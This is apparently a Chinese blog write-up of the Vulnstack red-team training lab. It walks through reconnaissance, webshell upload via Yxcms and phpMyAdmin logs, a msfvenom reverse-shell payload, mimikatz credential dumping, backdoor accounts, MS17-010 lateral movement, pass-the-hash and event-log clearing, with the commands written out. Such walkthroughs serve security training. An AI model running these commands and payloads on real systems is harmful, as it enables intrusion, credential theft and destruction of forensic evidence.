ATT&CK实战系列—红队实战-1

admin 2023年12月21日14:02:59评论16 views字数 4767阅读15分53秒阅读模式

ATT&CK实战系列—红队实战-1

 

0、靶场介绍

ATT&CK实战系列—红队实战(一)是红日安全团队出品的一个实战环境,该靶场模拟真实环境。拓扑图如下:ATT&CK实战系列—红队实战-1

靶场配置如下:

ATT&CK实战系列—红队实战-1

靶场下载链接:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

1、信息收集

  •  

    指纹信息

ATT&CK实战系列—红队实战-1

  •  

    端口服务

ATT&CK实战系列—红队实战-1

ATT&CK实战系列—红队实战-1

ATT&CK实战系列—红队实战-1

  •  

    目录信息

ATT&CK实战系列—红队实战-1

ATT&CK实战系列—红队实战-1

ATT&CK实战系列—红队实战-1

ATT&CK实战系列—红队实战-1

  •  

    信息汇总

ATT&CK实战系列—红队实战-1

2、漏洞分析

2.1 漏洞挖掘

  •  

    目录浏览

 

ATT&CK实战系列—红队实战-1

  •  

    备份文件

http://192.168.1.131/beifen.rar

ATT&CK实战系列—红队实战-1

ATT&CK实战系列—红队实战-1

ATT&CK实战系列—红队实战-1

http://192.168.1.131/yxcms//index.php?r=admin/index/login

ATT&CK实战系列—红队实战-1

2.2 漏洞扫描

nmap 192.168.1.131 --script=auth,vuln,ftp-brute,imap-brute,smtp-brute,pop3-brute,mongodb-brute,redis-brute,ms-sql-brute,rlogin-brute,rsync-brute,mysql-brute,pgsql-brute,oracle-sid-brute,oracle-brute,rtsp-url-brute,snmp-brute,svn-brute,telnet-brute,vnc-brute,xmpp-brute

ATT&CK实战系列—红队实战-1

ATT&CK实战系列—红队实战-1

2.3 漏洞验证

http://192.168.1.131/yxcms//index.php?r=admin/index/login

ATT&CK实战系列—红队实战-1

http://192.168.1.131/phpmyadmin/

ATT&CK实战系列—红队实战-1

3、漏洞利用

3.1 Yxcms 后台 Getshell

利用yxcms 版本漏洞getshell。在“前台模板” 中看见自己可以编辑模板,模板通常可以自定义php文件,而如果可以自定义php文件直接就可以上一句话木马了

ATT&CK实战系列—红队实战-1

通过目录浏览漏洞,或者备份文件找到上传路径,然后使用蚁剑连接:http://192.168.1.131/yxcms//protected/apps/default/view/default/testinfo.php

ATT&CK实战系列—红队实战-1

ATT&CK实战系列—红队实战-1

3.2 phpmyadmin 日志 getshell

Phpmysql 日志 getshell 当secure_file_priv的值为null ,表示限制mysql 不允许导入|导出

ATT&CK实战系列—红队实战-1

当into outfile被禁用的话 可以利用日志getshell,原理,phpmyadmin有一个记录日志的文件,但是一般情况下会关闭,开启日志记录,然后设置日志记录名称为.php,随便执行sql语句,只要包括一句话木马就会被写入到日志中去,然后就可以连接getshell SHOW VARIABLES LIKE "general_log%"

ATT&CK实战系列—红队实战-1

第一步手动开启日志。

set global  general_log='on'   //首先设置为on

第二步 修改日志路径

set global  general_log_file ="C:\phpstudy\www\shell.php"

然后 查看是否开启成功

ATT&CK实战系列—红队实战-1

 

然后只要执行的语句都会写入到日志文件中,所以我们查询语句

select '<?php eval($_POST['a']);?>'

虽然报错但已经写进去了

查看日志文件,使用蚁剑连接:

ATT&CK实战系列—红队实战-1

ATT&CK实战系列—红队实战-1

3.2 主机信息收集

网络配置信息ipconfig /all

 

当前权限、账号信息

whoami /all

net user XXX /domain

 

操作系统、软件版本信息

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

echo %PROCESSOR_ARCHITECTURE%

wmic product get name,version

 

本机服务信息wmic service list brief

进程列表tasklist /v

wmic process list brief

 

启动程序信息wmic startup get command,caption

计划任务schtasks /query /fo LIST /v

主机开机时间net statistics workstation

 

用户列表

net user

net localgroup administrators

query user || qwinsta

客户端会话信息net session

端口列表netstat -ano

补丁列表

Systeminfo

wmic qfe get Caption,Description,HotFixID,InstalledOn

 

查询本机共享

net share

wmic share get name,path,status

 

路由、ARP 缓存表route print、Arp –A

 

防火墙相关配置netsh firewall show config

代理配置情况reg query "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings"

远程连接服务Netstat -ano

REG QUERY "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /V PortNumber

 

4、权限提升

 

使用 MSF 进行提权并且抓取散列值和明文密码:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.136 LPORT=12345 -f exe -o payload.exe

ATT&CK实战系列—红队实战-1

ATT&CK实战系列—红队实战-1

获取账号密码

1、使用kiwi模块

getsystem ##提权到system权限

migrate id号 ##该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,需要将meterpreter进程迁移到一个64位程序的进程中

load kiwi ##加载kiwi模块

creds_all ##列举系统中的明文密码

ATT&CK实战系列—红队实战-1

ATT&CK实战系列—红队实战-1

使用账号密码进行远程登录

查看3389:

netstat -ano | findstr "3389"

或者查看远程端口

REG QUERY "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /V PortNumber

开启3389

Windows Server 2008 和 Windows Server 2012 中开启 3389 端口

 

REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

ATT&CK实战系列—红队实战-1

查看防火墙配置

netsh firewall show config

ATT&CK实战系列—红队实战-1

关闭防火墙:

Windows Server 2003 系统及之前版本

netsh firewall set opmode disable

Windows Server 2003 之后系统版本

netsh advfirewall set allprofiles state off

或者

允许 3389 端口放行,命令如下:

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

ATT&CK实战系列—红队实战-1

ATT&CK实战系列—红队实战-1

5、权限维持

临时创建一个guest 后门:

net user guest /active:yes

net user guest test@123456

net localgroup administrators guest /add

ATT&CK实战系列—红队实战-1

ATT&CK实战系列—红队实战-1

6、横向渗透

6.1 代理转发

使用msf 的 socks 模块搭建一个socks 代理

ATT&CK实战系列—红队实战-1

ATT&CK实战系列—红队实战-1

ATT&CK实战系列—红队实战-1

测试一下是否搭建成功:

ATT&CK实战系列—红队实战-1

6.2 信息收集

  •  

    域内信息收集

ATT&CK实战系列—红队实战-1

ATT&CK实战系列—红队实战-1

ATT&CK实战系列—红队实战-1

  •  

    主机存活

use auxiliary/scanner/netbios/nbname

ATT&CK实战系列—红队实战-1

use auxiliary/scanner/smb/smb_version

ATT&CK实战系列—红队实战-1

  •  

    端口扫描

ATT&CK实战系列—红队实战-1

ATT&CK实战系列—红队实战-1

ATT&CK实战系列—红队实战-1

  •  

    漏洞扫描

auxiliary/scanner/smb/smb_ms17_010

ATT&CK实战系列—红队实战-1

6.3 横向渗透--域成员

use auxiliary/admin/smb/ms17_010_command

show options

set rhosts 192.168.52.141

set command net user admin123 hongrisec@2022 /add #添加用户

run #成功执行

set command net localgroup administrators admin123 /add #管理员权限

run #成功执行

set command  "REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f"

run #成功执行

ATT&CK实战系列—红队实战-1

ATT&CK实战系列—红队实战-1

ATT&CK实战系列—红队实战-1

ATT&CK实战系列—红队实战-1

ATT&CK实战系列—红队实战-1

6.4 横向渗透--域控

set command "net user admin123 hongrisec@2022 /add"

set command "net localgroup Administrators admin123 /add"

set command 'REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'

set command "netsh firewall set opmode mode=disable"

ATT&CK实战系列—红队实战-1

ATT&CK实战系列—红队实战-1

ATT&CK实战系列—红队实战-1

ATT&CK实战系列—红队实战-1

ATT&CK实战系列—红队实战-1

其他利用方式

利用该模块获取域控:

Exploit/windows/smb/ms17_010_psexec

ATT&CK实战系列—红队实战-1

  •  

    账号密码&哈希

ATT&CK实战系列—红队实战-1

Username       Domain  LM                                NTLM                              SHA1

--------       ------  --                                ----                              ----

Administrator  GOD     edea194d76c77d87237cc0a5cbc3c059  a45a7246dd74b64a67f22fd7020f1bd8  09c1149077362aea72932d6a067034e4b2de24ca

STU1$          GOD                                       0140e2337bada42e378bf20b6342013b  1e54171adbcbb0b85c030c1abba09a3eb6c76a47

使用 wmi 进行横向渗透

proxychains4 wmiexec.py -hashes 00000000000000000000000000000000:a45a7246dd74b64a67f22fd7020f1bd8 [email protected]

ATT&CK实战系列—红队实战-1

7、痕迹清理

有远程桌面权限时手动删除日志:
开始-程序-管理工具-计算机管理-系统工具-事件查看器-清除日志
wevtutil:
wevtutil el             列出系统中所有日志名称
wevtutil cl system      清理系统日志
wevtutil cl application 清理应用程序日志
wevtutil cl security    清理安全日志
meterperter自带清除日志功能:
clearev     清除windows中的应用程序日志、系统日志、安全日志


清除recent:
在文件资源管理器中点击“查看”->“选项”->在常规->隐私中点击”清除”按钮
或直接打开C:UsersAdministratorRecent并删除所有内容
或在命令行中输入del /f /s /q “%userprofile%Recent*.*

ATT&CK实战系列—红队实战-1

 

 

原文始发于微信公众号(贝雷帽SEC):ATT&CK实战系列—红队实战-1

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月21日14:02:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ATT&CK实战系列—红队实战-1https://cn-sec.com/archives/2238144.html

发表评论

匿名网友 填写信息